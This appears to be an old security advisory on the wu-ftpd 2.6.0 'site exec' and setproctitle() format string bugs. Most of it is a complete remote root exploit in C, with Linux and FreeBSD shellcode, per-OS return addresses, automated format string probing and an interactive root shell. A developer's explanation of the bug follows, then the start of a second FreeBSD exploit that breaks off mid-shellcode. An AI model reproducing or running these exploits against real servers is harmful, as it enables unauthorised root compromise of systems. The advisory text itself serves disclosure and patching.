COMMAND

    wuftpd

SYSTEMS AFFECTED

    Wuftpd 6.0

PROBLEM

    A vulnerability involving an  input validation error in  the "site
    exec"  command  has  recently  been  identified  in the Washington
    University  ftpd  (wu-ftpd)   software  package.   Sites   running
    affected systems are advised  to update their wu-ftpd  software as
    soon as possible.  A  similar but distinct vulnerability has  also
    been identified that involves  a missing format string  in several
    setproctitle() calls. It affects a broader number of ftp  daemons.
    Please see Appendix  A of this  document for specific  information
    about the status of specific ftpd implementations and solutions.

    "Site exec" Vulnerability
    =========================
    A  vulnerability  has  been  identified  in  wu-ftpd and other ftp
    daemons based  on the  wu-ftpd source  code.   Wu-ftpd is a common
    package used  to provide  file transfer  protocol (ftp)  services.
    This vulnerability is being  discussed as the wu-ftpd  "site exec"
    or "lreply" vulnerability in various public forums.

    The wu-ftpd  "site exec"  vulnerability is  the result  of missing
    character-formatting  argument  in  several  function  calls  that
    implement  the  "site  exec"  command  functionality.  Normally if
    "site  exec"  is  enabled,  a  user  logged  into  an  ftp  server
    (including  the  'ftp'   or  'anonymous'  user)   may  execute   a
    restricted  subset  of  quoted  commands  on  the  server  itself.
    However, if  a malicious  user can  pass character  format strings
    consisting   of   carefully   constructed   *printf()   conversion
    characters  (%f,  %p,  %n,  etc)  while  executing  a  "site exec"
    command, the ftp  daemon may be  tricked into executing  arbitrary
    code as root.

    The "site exec" vulnerability appears to have been in the  wu-ftpd
    code  since  the  original  wu-ftpd  2.0  came  out  in 1993.  Any
    vendors  who  have  based  their  own  ftpd  distributions on this
    vulnerable  code   are  also   likely  to   be  vulnerable.    The
    vulnerability appears to  be exploitable if  a local user  account
    can  be  used  for  ftp  login.  Also,  if the "site exec" command
    functionality  is  enabled,  then   anonymous  ftp  login   allows
    sufficient access for an attack.

    setproctitle() Vulnerability
    ============================
    A separate vulnerability involving a missing  character-formatting
    argument in setproctitle(), a call  which sets the string used  to
    display  process  identifier  information,  is  also  present   in
    wu-ftpd.   Other  ftpd  implementations  have  been  found to have
    vulnerable  setproctitle()  calls  as  well,  including those from
    proftpd and OpenBSD.

    The setproctitle() vulnerability appears  to have been present  in
    various ftpd implementations since  at least BSD ftpd  5.51 (which
    predates wuarchive-ftpd  1.0). It  has also  been confirmed  to be
    present in BSD ftpd 5.60 (the final BSD release). Any vendors  who
    have based their  own ftpd distributions  on this vulnerable  code
    are also likely to be vulnerable.

    It should  be noted  that many  operating systems  do not  support
    setproctitle() calls.  However, other software engineering defects
    involving the same  type of missing  character-formatting argument
    may be present.

    tf8 posted following.   It's another site  exec problem that  will
    give altered permissions...  BTW, exploit is broken to avoid  kids
    usage.

    /*
     * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
     *
     *  WUFTPD 2.6.0 REMOTE ROOT EXPLOIT
     *   by tf8
     *
     * *NOTE*:  For ethical reasons, only an exploit for 2.6.0 will be
     *     released (2.6.0 is the most popular version nowadays), and it
     *     should suffice to proof this vulnerability concept.
     *
     *   Site exec was never really *fixed*
     *
     *   Greetz to portal (he is elite!#%$) and all #!security.is, glitch, DiGit,
     *    \x90, venglin, xz, MYT and lamagra.
     *   Also greetings go to the WU-FTPD development team for including this
     *    bug in ALL their versions.
     *
     *   Fuck to wuuru (he is an idiot)
     *
     *   Account is not required, anonymous access is enough :)
     *
     * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
     */

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/time.h>
    #include <netdb.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <signal.h>
    #include <errno.h>

    #ifdef __linux
    #include <getopt.h>
    #endif

    #define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)
    #define GREEN "\033[32m"
    #define RED "\033[31m"
    #define NORM "\033[0m"

    char infin_loop[]= /* for testing purposes */
     "\xEB\xFE";

    char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
     "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
     "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
     "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
     "\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
     "\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
     "\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
     "\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
     "\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
     "\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
     "\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
     "\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30"
     "\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
     "\x67\x6c\x69\x6e";

    char bsd_code_d[]= /* you should call it directly (no jump/call)*/
     "\xEB\xFE\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5C"
     "\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF"
     "\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8"
     "\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14"
     "\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11"
     "\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F"
     "\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9"
     "\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11"
     "\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9"
     "\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86"
     "\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF";

    char linuxcode[]= /* Lam3rZ chroot() code */
     "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
     "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
     "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
     "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
     "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
     "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
     "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
     "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
     "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
     "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";

    #define MAX_FAILED      4
    #define MAX_MAGIC       100
    static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
    static char *magic_str=NULL;
    int before_len=0;
    char *target=NULL,*username="ftp",*password=NULL;
    struct targets getit;

    struct targets {
	    int def;
	    char *os_descr, *shellcode;
	    int delay;
	    u_long pass_addr, addr_ret_addr;
	    int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux;
    };

    struct targets targ[]={
	    {0,"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1},
	    {1,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1},
	    {2,"SuSe 6.3 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1},
	    {3,"SuSe 6.4 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1},
	    {4,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1},

	    {5,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1,2,1,2,1,4},0},
	    {6,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},0},
	    {7,"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports",bsdcode,2,0x80a4dec-400,0xbfbfc624,{0x3B,2,1,0xe,0x40,1,2,1,2},{1,2,1,2,1,3,2,1,4},0},
	    {8,"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0},
	    {0,NULL,NULL,0,0,0,{0},{0},0}
    };

    void usage(char*zu,int q){
    int i, n, padding;
    fprintf(stderr,"Usage: %s -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]\n"
    "         [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]\n"
    "target    : host with any wuftpd\nuser      : anonymous user\n"
    "dir       : if not anonymous user, you need to have writable directory\n"
    "magic_str : magic string (see exploit description)\n-g        : enables magic string digging\n"
    "-x        : enables test mode\npass_addr : pointer to setproctitle argument\n"
    "ret_addr  : this is pointer to shellcode\nsystypes: \n",zu);
     for(i=0;targ[i].os_descr!=NULL;i++){
      padding=0;
      fprintf(stderr,"%s%2d - %s\n",targ[i].def?"*":" ",i,targ[i].os_descr);
      if(q>1){
       fprintf(stderr,"     Magic ID: [");
       for(n=0;targ[i].magic[n]!=0;n++){
        if(targ[i].magic_d[n]==4)
         padding=targ[i].magic[n];
        fprintf(stderr,"%02X,%02X",targ[i].magic[n],targ[i].magic_d[n]);
        if(targ[i].magic[n+1]!=0)
         fprintf(stderr,":");
       }
       fprintf(stderr,"] Padding: %d\n",padding);
       fflush(stderr);
      }
     }
     exit(1);
    }

    int connect_to_server(char*host){
     struct hostent *hp;
     struct sockaddr_in cl;
     int sock;

     if(host==NULL||*host==(char)0){
      fprintf(stderr,"Invalid hostname\n");
      exit(1);
     }
     if((cl.sin_addr.s_addr=inet_addr(host))==-1) {
      if((hp=gethostbyname(host))==NULL) {
       fprintf(stderr,"Cannot resolve %s\n",host);
       exit(1);
      }
      memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr));
     }
     if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
      fprintf(stderr,"Error creating socket: %s\n",strerror(errno));
      exit(1);
     }
     cl.sin_family=PF_INET;
     cl.sin_port=htons(21);
     if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1){
      fprintf(stderr,"Cannot connect to %s: %s\n",host,strerror(errno));
      exit(1);
     }
     return sock;
    }

    int ftp_recv(int sock,char*buf,int buf_size,int disc){
     int n=0;
     char q;

     if(disc) while((n=recv(sock,&q,1,0))==1&&q!='\n');
     else {
      (void)bzero(buf,buf_size);
      n=recv(sock,buf,buf_size,0);
      if(n<0){
       fprintf(stderr,"ftp_recv: recv failed\n");
       exit(1);
      }
      buf[n]=0;
     }
     return n;
    }
    int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size){
     int n;
     n=send(sock,what,size,0);
     if(n!=size){
      fprintf(stderr,"ftp_send: failed to send. expected %d, sent %d\n", size,n);
      shutdown(sock,2);
      close(sock);
      exit(1);
     }
     if(f)
      return ftp_recv(sock,ans,ans_size,0);
     return 0;
    }

    int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len){
     ftp_send(sock,buff,buff_len,q,ans,ans_len);
     if(strncmp(ans,"200-",4)==0)
       ftp_recv(sock,NULL,0,1);
     else
      ftp_recv(sock,ans,ans_len,0);

     if(strncmp(ans,"200-",4)){
      fprintf(stderr,"Cannot find site exec response string\n");
      exit(1);
     }
     return 0;
    }

    void ftp_login(int sock,char*u_name,char*u_pass)
    {
     char buff[2048];
      printf("loggin into system..\n");
      snprintf(buff,2047,"USER %s\r\n", u_name);
      ftp_send(sock, buff,strlen(buff),1,buff,2047);
      printf(GREEN"USER %s\n"NORM"%s",u_name,buff);
      snprintf(buff,2047,"PASS %s\r\n",u_pass);
      printf(GREEN"PASS %s\n"NORM,*u_pass=='\x90'?"<shellcode>":u_pass);
      ftp_send(sock,buff,strlen(buff),1,buff,2047);
      while(strstr(buff,"230 ")==NULL){
       (void)bzero(buff,2048);
       ftp_recv(sock,buff,2048,0);
      }
      printf("%s",buff);
      return;
    }

    void ftp_mkchdir(int sock,char*cd,char*new)
    {
     char buff[2048];

     sprintf(buff,"CWD %s\r\n",cd);
     printf(GREEN"%s"NORM,buff);
     ftp_send(sock,buff,strlen(buff),1,buff,2047);
     printf("%s",buff);
     sprintf(buff,"MKD %s\r\n",new);
     ftp_send(sock,buff,strlen(buff),1,buff,2047);
     printf(GREEN"MKD <shellcode>"NORM"\n%s",buff);
     sprintf(buff,"CWD %s\r\n",new);
     ftp_send(sock,buff,strlen(buff),1,buff,2047);
     printf(GREEN"CWD <shellcode>"NORM"\n%s",buff);
     return;
    }
    void process_possibly_rooted(int sock)
    {
     fd_set 	fd_read;
     char buff[1024], *cmd=getit.islinux?"/bin/uname -a;/usr/bin/id;\n":"/usr/bin/uname -a;/usr/bin/id;\n";
     int n;

     FD_ZERO(&fd_read);
     FD_SET(sock, &fd_read);
     FD_SET(0, &fd_read);
     send(sock, cmd, strlen(cmd), 0);
     while(1) {
      FD_SET(sock,&fd_read);
      FD_SET(0,&fd_read);
      if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
      if( FD_ISSET(sock, &fd_read) ) {
       if((n=recv(sock,buff,sizeof(buff),0))<0){
         fprintf(stderr, "EOF\n");
         exit(2);
       }
       if(write(1,buff,n)<0)break;
      }
      if ( FD_ISSET(0, &fd_read) ) {
        if((n=read(0,buff,sizeof(buff)))<0){
          fprintf(stderr,"EOF\n");
          exit(2);
        }
        if(send(sock,buff,n,0)<0) break;
      }
      usleep(10);
     }
     fprintf(stderr,"Connection aborted, select failed()\n");
     exit(0);
    }

    int magic_check_f(int sock, char *str) {
     char q[2048], ans[2048];

     snprintf(q, 2048, "site exec %s%s\r\n", str, "%.f");
     if( strstr( q, "\r\n") == NULL) {
      fprintf(stderr,"Line TOO big..\n");
      exit(-1);
     }
     ftp_siteexec(sock, q, strlen(q), 1, ans, 2048);
     if( before_len+10 < strlen(&ans[3]) ) return 0;
     before_len=strlen(&ans[3]);
     (void)strcat(str,"%.f");
     return 1;
    }
    int magic_check_o(int sock, char *str) {
     char q[2048], ans[2048];
      snprintf(q, 2048, "site exec %s%s\r\n", str, "%c");
      if( strstr( q, "\r\n") == NULL) {
       fprintf(stderr,"Line TOO big..\n");
       exit(-1);
      }
     ftp_siteexec( sock, q, strlen(q), 1, ans, 2048);
     if( before_len== strlen(&ans[3]) ) {
      before_len+=1;
      (void)strcat(str, "%d");
      return 3;
     }
     before_len=strlen(&ans[3]);
     (void)strcat(str,"%c");
     return 2;
    }

    int magic_check_ok( int sock, char *str)
    {
     char q[2048], ans[2048];
     int i ,n=1, f, padding=0;

     snprintf(q, 2048,"site exec aaaaaaaa%s%s\r\n", str, "%p%p");
     if ( strstr(q, "\r\n" ) == NULL) {
      fprintf(stderr, "Line too long\n");
      exit(-1);
     }
     (void)bzero(ans, 2048);
     ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
     if(strstr(ans,"0x61616161")==NULL)
       return 0;
     for(i =0; i < MAX_MAGIC && magic[i]; i++);
     magic_d[i]=4;
     while(n){
      for(f=0; f< 2; f++) {
       snprintf(q, 2048,"site exec %.*saaaa%s%s\r\n", padding, "xxxx", str, f?"%p%p":"%p");
       (void)bzero(ans, 2048);
       ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
       if( strstr(ans, "0x61616161")!=NULL) {
        if (f==0) {
         magic[i]=padding;
         return 1;
        } else if( f==1) {
         strcat(str,"%p");
         magic[i]=padding;
         return 1;
        }
       }
      }
      if(padding > 4) {
       fprintf(stderr,"Cannot calculate padding..\n");
       exit(1);
      }
      padding++;
     }
     return 1;
    }


    int magic_digger(int sock)
    {
     int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0;

     if(magic_str==NULL){
      if((magic_str=(char*)malloc(4092))==NULL){
       perror("malloc");
       exit(errno);
      }
     }
     (void)bzero(magic_str, 4092);
     where=0;
     while(get_out) {
      int q;
      if( where >= MAX_MAGIC-1 || all_failed <= 0 )
        return -1;
      if( magic_check_f(sock, magic_str) ) {
       o=0,f++;
        if(f==1){
         if(!magic[where])
          magic[where]=1;
         else
          magic[++where]+=1;
        magic_d[where]=1;
        } else
         magic[where]+=1;
       all_failed=MAX_FAILED*2;
       printf("%s", "%.f"); fflush(stdout);
       goto verify;
      }
      all_failed--;
      if((q=magic_check_o(sock,magic_str))){
       f=0,o++;
        if(o==1){
         if(!magic[where])
          magic[0]=1;
         else
          magic[++where]+=1;
        magic_d[where]=q;
       } else {
        if(magic_d[where]==q)
         magic[where]+=1;
        else {
         magic[++where]=1;
         magic_d[where]=q;
        }
       }
       all_failed=MAX_FAILED*2;
       printf("%s", q==2?"%c":"%d");
       fflush(stdout);
       goto verify;
      }
      all_failed--;
      continue;
      verify:
      if(magic_check_ok(sock,magic_str)){
       putchar('\n');
       return 0;
      }
     }
     return 0;
    }

    int main(int argc, char *argv[]){
	    char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode;
	    int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0;
	    u_long ret_addr=0, pass_addr=0;
	    for(i=0;targ[i].os_descr!=NULL;i++);
	    while((c=getopt(argc,argv,"t:l:m:o:s:r:p:M:P:xghH?"))!=EOF){
	    switch(c) {
	     case 't': target=optarg;break;
	     case 'l':
	       username=optarg;
	       passwd=strchr(optarg,'/');
	       if(passwd==NULL)
	        usage(argv[0],0);
	       *passwd++=(char)0;
	       break;
	     case 'x': testmode=1; break;
	     case 'o': offset=atoi(optarg);break;
	     case 'p': pass_addr=strtoul(optarg, &optarg,16); break;
	     case 'g': gm=1; break;
	     case 'M': dir=optarg;mtype=1;break;
	     case 'm':
	       {
	        int where=0;
	        if(!*optarg) {
	          fprintf(stderr,"-m requires argument, try -h for help\n");
	          exit(1);
	        }
	        while(1) {
	          magic[where]=strtoul(optarg,&optarg,16);
	          optarg=strchr(optarg,',');
	          if(optarg==NULL){
	            printf("comma missing\n");
		    exit(1);
	          }
	          optarg++;
	          magic_d[where++]=strtoul(optarg,&optarg,16);
	          if(strchr(optarg,':')==NULL){
	           magic[where]=magic_d[where]=0;
	           break;
	          }
	          optarg=strchr(optarg,':');
	          optarg++;
	        }
	       }
	       break;
	      case 's':
	        num=atoi(optarg);
	        if(num>i) {
	         fprintf(stderr,"systype too big, try -h for help\n");
	         exit(1);
	        }
	        break;
	      case 'r':
	        ret_addr=strtoul(optarg,&optarg,16);
	        break;
	      case 'P':
	        padding=atoi(optarg);
	        break;
	      case 'H':
	         bla=2;
	      default: usage(argv[0],bla);break;
	     }
            }
	    if(target==NULL){
	      fprintf(stderr,"No target specified, try -h for help\n");
	      exit(1);
	    }
	    if(num==-1||num==-2) {
	      for(i=0;!targ[i].def;i++);
	      num=i;
	    }
	    (void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct targets));

	    if(magic[1]!=0) {
	     memcpy((void*)getit.magic,magic,sizeof(magic));
	     memcpy((void*)getit.magic_d,magic_d,sizeof(magic));
	    }

	    if(ret_addr)getit.addr_ret_addr=ret_addr;
	    if(pass_addr)getit.pass_addr=pass_addr;

	    getit.addr_ret_addr+=(offset*4);

 	    sock=connect_to_server(target);
	    memset(shellcode, '\x90', sizeof(shellcode));
	    shellcode[sizeof(shellcode)-1]=(char)0;
	    if(!mtype){
	     memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode, strlen(getit.shellcode)+1);
	     shellcode[sizeof(shellcode)-1]=(char)0;
	    }else{
	     memcpy((void*)&shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode));
	     shellcode[250-1]=(char)0;
	    }
	    printf("Target: %s (%s/%s): %s\n",target,username,*passwd=='\x90'?"<shellcode>":passwd,getit.os_descr);
	    printf("Return Address: 0x%08lx, AddrRetAddr: 0x%08lx, Shellcode: %d\n\n",getit.pass_addr,getit.addr_ret_addr,strlen(getit.shellcode));

	    buff=(char *)malloc(1024);
	    bzero(buff,1024);

	    (void)ftp_recv(sock,NULL,0,1);

	    (void)ftp_login(sock,username,passwd);

	    if(gm||(magic_str==NULL&&getit.magic[0]==0)){
	     printf("STEP 2A: Generating magic string: ");
	     fflush(stdout);
	     magic_digger(sock);
	     memcpy((void *)getit.magic,(void*)magic,sizeof(magic));
	     memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d));
	     printf("STEP 2B: MAGIC STRING: [");
	    } else {
	      printf("STEP 2 : Skipping, magic number already exists: [");
	    }
	    for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
	     printf("%02X,%02X",getit.magic[i],getit.magic_d[i]);
	     if(getit.magic[i+1]!=0)
	         putchar(':');
	    }
	    printf("]\n");
	    buff=(char *)realloc(buff, 4092);
	    (void)bzero(buff, 4092);
            if(mtype)
             ftp_mkchdir(sock,dir,shellcode);
	    printf("STEP 3 : Checking if we can reach our return address by format string\n");
	    if(!magic_str){
	      magic_str=(char*)malloc(2048);
	      if(magic_str==NULL) {
	        perror("malloc");
	        exit(errno);
	      }
	      (void)bzero(magic_str,2048);
	      for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
	       switch(getit.magic_d[i]) {
	        case 1:
	           for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%.f");
	           break;
	        case 2:
	           for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%c");
	           break;
	        case 3:
	           for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%d");
	           break;
	        case 4:if(padding<0)padding=getit.magic[i];break;
	        default:fprintf(stderr,"STEP 3: INternal error\n");
	           exit(1);
	           break;
 	      }
	     }
	    }
	    if(padding<0){
	      for(num=0;num<MAX_MAGIC&&getit.magic_d[num]!=4;num++);
	      if(num<(MAX_MAGIC-1))
	        padding=getit.magic[num];
	      else
	        fprintf(stderr,"WARNING: PROBLEMS WITH PADDING\n");
	    }

	    if(!getit.islinux){
 	     if(!testmode)
	       snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,"%p");
	     else
	       snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,"%p");
	    } else {
 	     if(!testmode)
	       snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,"%p");
	     else
	       snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,"%p");
	    }
	    sleep(getit.delay);
	    fflush(stdout);
	    if((buff_p=(char *)malloc(4096))==NULL){
	      fprintf(stderr,"malloc failed.\n");
	      exit(1);
	    }
	    (void)bzero(buff_p,4096);
	    ftp_siteexec(sock,buff,strlen(buff),1,buff_p,4095);
	    if((buff_p2=strchr(buff_p,'\r'))!=NULL)
	     *buff_p2=(char)0;
	    if((buff_p2=strchr(buff_p,'\n'))!=NULL)
	     *buff_p2=(char)0;
	    buff_p2=strstr(buff_p,"|0x");
	    if(buff_p2==NULL){
	      fprintf(stderr,"Fix me, incorrect response from '%%p':%s\n",buff_p);
	      exit(1);
	    }
	    buff_p2+=3;
	    if(!testmode)
	      printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.addr_ret_addr);
	    else
	      printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.pass_addr);
	    sleep(getit.delay);
	    buff_p2=strstr(buff, "%.f");
	    *buff_p2++=(char )0;
	    strcpy(buff_p, buff);
	    if(!testmode)
	      sprintf(buff_p+strlen(buff_p),"%s%u%c","%d%.",(u_int)getit.pass_addr,'d');
	    else
	      sprintf(buff_p+strlen(buff_p),"%s","%d%d");
	    strcpy(buff_p+strlen(buff_p), buff_p2);
	    buff_p2=strchr(buff_p,'|');
	    buff_p2++;
	    printf("STEP 5 : Sending code.. this will take about 10 seconds.\n");
	    if(!testmode){
	      strcpy(buff_p2,"%n\r\n");
	      ftp_send(sock,buff_p,strlen(buff_p),0,NULL,0);
	    } else {
	      (void)bzero(buff,4096);
	      strcpy(buff_p2,"%s\r\n");
	      ftp_send(sock,buff_p,strlen(buff_p),1,buff,4092);
	      printf("got answer: %s\n",buff);
	      exit(0);
	    }
	    free(buff_p);
	    free(buff);
	    signal(SIGINT, SIG_IGN);
	    signal(SIGHUP, SIG_IGN);
	    printf(RED"Press ^\\ to leave shell"NORM"\n");
	    process_possibly_rooted(sock);
	    return 0;
    }

    Lamagra Argamal  added brought  to you  the story  behind it.  The
    story begins inside the ftpcmd.y file.  Which has the ftp commands
    in it.  The  bug is in the  site_exec(char *cmd) function.   There
    is calls lreply(200,cmd); In ftpd.c we find

        void lreply(int n, char *fmt,...)
        ....
        vreply(USE_REPLY_LONG, n, fmt, ap)
        ...

    and

        void vreply(long flags, int n, char *fmt, va_list ap)
        ...
        vsnprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 : sizeof(buf), fmt, ap)
        ....

    cmd becomes fmt with vsnprintf that's bad.  The idea is to put  in
    formatstrings to  get some  extra priviledges.   We can  use %n to
    overwrite some  stuff. eg.  overwrite a  ret-address or  a null at
    the  end  of   a  buffer  (cause   an  overflow)  or   change  the
    configuration  or  uid  like  I  did  in  my proftp exploit (check
    proftp_pcc.c on Packetstorm).

    There are some other bugs in site_exec like

            for (t = cmd; *t && !isspace(*t); t++) {
                if (isupper(*t)) {
                    *t = tolower(*t);
                }
            }

    Sanitizing stops at a space??    Wuftpd is all really buggy  code.
    Lamagra did  some checking  and found  some minor  bugs there too.
    First in modules/mod_pam.c

         /* Allocate our entries...we don't free this because PAM does this for us.
           */
          pam_user = malloc(strlen(cmd->argv[0]) + 1);
          if(pam_user == (char *)0)
            return pam_return_type ? ERROR(cmd) : DECLINED(cmd);
          sstrncpy(pam_user, cmd->argv[0], strlen(cmd->argv[0]) + 1);

          pam_pass = malloc(strlen(cmd->argv[1]) + 1);

    Pam doesn't free these  according to me. So  this could lead to  a
    pottential system DoS  if abused. Fortunatly  proftpd has a  limit
    of 3 on USER/PASS.

    Second, in  the set_proc_title(char  *fmt,...) function  in main.c
    It  constructs  a  buffer  with  hostname  + user + cmd to replace
    argv[0].  If  setproctitle(char  *fmt,...)  is  available (only on
    debian and bsd).   It calls setproctitle(statsbuf); what  re-opens
    the old bug Not a big thing since almost nobody has it.

    According to  Eric Hines  it has  come to  his discovery that some
    systems at MIT  are for example  vulnerable to the  vulnerability,
    and  some   aren't..  (All)   with  the   same  default   RH   6.2
    installations.   The problem  occurs when  you attempt  to execute
    the  exploit  on  a  remote  machine  and  are  left with a telnet
    session  to  PORT  21  of  the  vulnerable  system,  stuck to your
    typical HELP commands. This  is because the exploit  is attempting
    to  utilize  the  WRONG  [stack  retr  addr] of the vulnerable ftp
    daemon.   The  reason  being  it  is  not  overflowing  the stack,
    leaving you with this telnet session.

    Below is another exploit for FreeBSD only:

    /*
     *  WU-hooooooooo ! ;)
     *  remote root exploit for FreeBSD Wu-ftpd 2.6.0 !
     *  Written by glitch of AdG.
     *  Shellcode by Myt of AdG
     *  This is mega private !
     *  for Action Direct Group members only !
     *  Don't distribute !
     *
     *  Greetings to tf8, adm.
     *
     */

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/time.h>
    #include <errno.h>
    #include <netinet/in.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <signal.h>

    /*
     * Warning ! You may increase DELAY value
     * for slow connections !
     *
     */

    #define DELAY 5

    char bsd_shellcode[] =
       "\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF"
